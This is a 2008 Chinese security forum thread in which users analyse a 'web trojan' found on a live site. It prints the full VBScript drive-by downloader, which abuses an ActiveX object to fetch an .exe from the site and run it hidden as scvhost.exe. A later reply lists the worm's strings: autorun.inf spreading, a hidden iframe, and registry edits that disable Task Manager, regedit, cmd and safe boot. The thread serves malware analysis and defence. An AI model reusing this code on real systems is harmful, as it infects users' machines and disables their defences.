网马

显示全部楼层 · 发表于 2008-4-26 14:05:03

不知道他这个是利用漏洞还是什么，请高手分析，谢谢

网址：http://www.158dm.cn/ index.htm
index前加了一个空格

内容：我传在附件里把

[ 本帖最后由风中漫步于 2008-4-26 14:10 编辑 ]

显示全部楼层 · 发表于 2008-4-26 14:10:57

<script language="VBScript">
on error resume next
m1="object"
m2="classid"
m3="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
m4="Microsoft.XMLHTTP"
m5="Shell.Application"
MircoLong = "http://www.158dm.cn/XiaoHao.exe"
Set MircoLongc = document.createElement(m1)
MircoLongc.setAttribute m2, m3
seturla="down"
seturlb="file"
seturlc="copy"
seturld="exit"
MircoLongi=m4
Set MircoLongd = MircoLongc.CreateObject(MircoLongi,"")
seturlf="Ado"
seturlg="db."
seturlh="Str"
seturli="eam"
MircoLongf=seturlf&seturlg&seturlh&seturli
MircoLongg=MircoLongf
set MircoLonga = MircoLongc.createobject(MircoLongg,"")
MircoLonga.type = 1
MircoLongh="GET"
MircoLongd.Open MircoLongh, MircoLong, False
MircoLongd.Send
MircoLong9="scvhost.exe"
set MircoLongb = MircoLongc.createobject("Scripting.FileSystemObject","")
set MircoLonge = MircoLongb.GetSpecialFolder(2)
MircoLonga.open
MircoLong8="MircoLonga.BuildPath(MircoLonga,MircoLong8)"
MircoLong7="MircoLongb.BuildPath(MircoLongb,MircoLong7)"
MircoLong6="MircoLongc.BuildPath(MircoLongd,MircoLong6)"
MircoLong5="MircoLongd.BuildPath(MircoLongf,MircoLong5)"
MircoLong4="MircoLonge.BuildPath(MircoLongg,MircoLong4)"
MircoLong3="MircoLongf.BuildPath(MircoLongh,MircoLong4)"
MircoLong2="MircoLongg.BuildPath(MircoLongi,MircoLong3)"
MircoLong1="MircoLongh.BuildPath(MircoLongg,MircoLong1)"
MircoLong0="MircoLongi.BuildPath(MircoLongk,MircoLong0)"
MircoLong9= MircoLongb.BuildPath(MircoLonge,MircoLong9)
MircoLonga.write MircoLongd.responseBody
MircoLonga.savetofile MircoLong9,2
MircoLonga.close
set MircoLonge = MircoLongc.createobject(m5,"")
MircoLonge.ShellExecute MircoLong9,BBS,BBS,"open",0
</script>

复制代码

小浩归来

显示全部楼层 · 发表于 2008-4-26 14:11:49

XiaoHao是？

显示全部楼层 · 发表于 2008-4-26 14:14:31

The file 'XiaoHao.exe' has been determined to be 'UNDER ANALYSIS'.

显示全部楼层 · 发表于 2008-4-26 14:16:14

还是打不开

[ 本帖最后由 ranguangning 于 2008-4-26 14:27 编辑 ]

显示全部楼层 · 发表于 2008-4-26 14:17:08

EAV无视！

显示全部楼层 · 发表于 2008-4-26 14:18:32

不是以前那个小浩,图标变了

显示全部楼层 · 发表于 2008-4-26 14:22:34

原帖由 ranguangning 于 2008-4-26 14:16 发表
【1】网页打不开

【2】t="60$115$99$114$105$112$116$32$108$97$110$103$117$97$103$101$61$34$74$83$99$114$105$112$116$34$62$118$97$114$32$99$61$34$54$48$44$49$49$53$44$57$57$44$49$49$52$44$49$48$53$44$ ...

网址：http://www.158dm.cn/ index.htm
index前加了一个空格

显示全部楼层 · 发表于 2008-4-26 14:26:44

Prevx V2 20080426 2008-04-26 TROJAN.DOWNLOADER.GEN 4.725
QuickHeal 9.00 2008.04.26 2008-04-26 Suspicious - DNAScan 3.981
熊猫卫士 9.04.03.0001 2008.04.25 2008-04-25 Suspicious file 3.986
飞塔 2.81-3.11 9.16 2008-04-26 Suspicious 3.331

CWormBegin Xiaohao.com autorun.inf shell\Auto\command=Xiaohao.com
shellexecute=Xiaohao.com
shell\explore\Command=Xiaohao.com
shell\explore=资源管理器(&X)
shell\open\Default=1
shell\open\Command=Xiaohao.com
shell\open=打开(&O)
open=Xiaohao.com
[Autorun]
config.exe Xiaohao.exe XiaoHao.exe xiaohao.exe KV*.exe Iparmor.exe Navapw32.exe Rav.exe kavscr.exe avp.exe jsp php aspx asp html htm *.* \ \exloroe.com %s open http://%77%77%77%2E%31%35%38%64%6D%2E%63%6E/%62%64%2E%68%74%6D
<iframe src=http://%77%77%77%2E%31%35%38%64%6D%2E%63%6E/%61%31%2E%68%74%6D width=0 height=0></iframe> r+b ygr HACK "%1" %* exefile\shell\open\command "%1" %* \\ A:\ NoBrowserOptions Software\Policies\Microsoft\Internet Explorer\Restrictions exloroe Software\Microsoft\Windows\CurrentVersion\Run 1 \word.com C:\Documents and Settings\All Users\「开始」菜单\程序\启动 CheckedValue SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL DisableTaskMgr Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr Software\Microsoft\Windows\CurrentVersion\Policies\System DisableRegistryTools regfile\shell\open\command Type SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\SuperHidden ShowSuperHidden Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced radio Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL NoFolderOptions Software\Microsoft\Windows\Current Version\Policies\Explorer\NoFolderOptions SYSTEM\ControlSet001\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318} SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318} SYSTEM\ControlSet001\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318} SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318} AutoEndTasks Control Panel\Desktop NoCommon Groups Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoCommon Groups DisableCMD Software\Policies\Microsoft\Windows\System

复制代码

[ 本帖最后由 aerbeisi 于 2008-4-26 17:56 编辑 ]

显示全部楼层 · 发表于 2008-4-26 14:26:49

xiaohao 金山 0

[病毒样本] 网马

本帖子中包含更多资源

快上HIPS